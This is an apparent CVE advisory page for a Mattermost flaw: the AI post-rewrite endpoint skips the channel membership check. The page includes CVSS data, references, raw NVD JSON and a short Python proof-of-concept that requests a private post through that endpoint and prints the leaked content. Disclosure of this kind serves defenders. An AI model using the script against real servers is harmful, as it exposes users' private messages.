CVE-2026-5163

Description

Mattermost versions 11.5.x <= 11.5.1 fail to verify channel membership when processing AI-assisted message rewrites which allows an authenticated attacker to read the content of threads in private channels and direct messages they do not have access to via a crafted request to the post rewrite endpoint.. Mattermost Advisory ID: MMSA-2026-00645

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE

Mattermost 11.5.x

Mattermost 11.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target Mattermost instance
TARGET_URL = "https://mattermost.example.com"
API_ENDPOINT = f"{TARGET_URL}/api/v4/posts/rewrite"

# Attacker's low-privilege session token
AUTH_TOKEN = "attacker_session_token_here"

# Headers
headers = {
    "Authorization": f"Bearer {AUTH_TOKEN}",
    "Content-Type": "application/json"
}

# The ID of a post located in a private channel the attacker cannot access
# This ID is usually obtained via enumeration or guessing
private_post_id = "PRIVATE_POST_ID_TO_LEAK"

# Crafted payload to trigger the rewrite functionality
payload = {
    "post_id": private_post_id
}

try:
    # Send the malicious request
    response = requests.post(API_ENDPOINT, json=payload, headers=headers)

    if response.status_code == 200:
        data = response.json()
        print("[+] Vulnerability Exploited Successfully!")
        print("[+] Leaked Post Content:")
        print(data.get('post', {}).get('message', 'Content not found in response'))
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5163
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5163
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5163/
[4] VulDB https://vuldb.com/cve/CVE-2026-5163
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5163", "sourceIdentifier": "[email protected]", "published": "2026-05-18T09:16:23.273", "lastModified": "2026-05-18T19:12:19.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.5.x <= 11.5.1 fail to verify channel membership when processing AI-assisted message rewrites which allows an authenticated attacker to read the content of threads in private channels and direct messages they do not have access to via a crafted request to the post rewrite endpoint.. Mattermost Advisory ID: MMSA-2026-00645"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.5.0", "versionEndExcluding": "11.5.2", "matchCriteriaId": "726AD6AD-6C01-45BB-9115-B8209717A6D4"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}